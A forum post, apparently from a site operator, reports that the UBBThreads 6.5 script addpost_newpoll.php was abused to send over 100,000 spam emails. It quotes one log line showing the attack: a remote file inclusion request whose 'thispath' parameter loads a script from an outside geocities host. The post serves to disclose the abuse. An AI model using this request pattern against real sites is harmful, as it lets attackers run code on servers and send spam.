I use version 6.5

My provider informed me that the UBBT script addpost_newpoll.php
was used to send ou more than 100.000 spam emails and nearly cancelled my contract.

It seems that this is a well known bug at least to spammers as they had even programmed a complete USER INTERFACE for sending spam with UBBt and so probably millions of spam emails are sent out each day with he help of ubbt.

The way this script is/was abused

/forum//addpost_newpoll.php?addpoll=preview&thispath=http://geocities.com/uza_mere/uza.txt? HTTP/1.1" 200

(the abuse script has gone at this place but is probably to be found at a lot of places elsewhere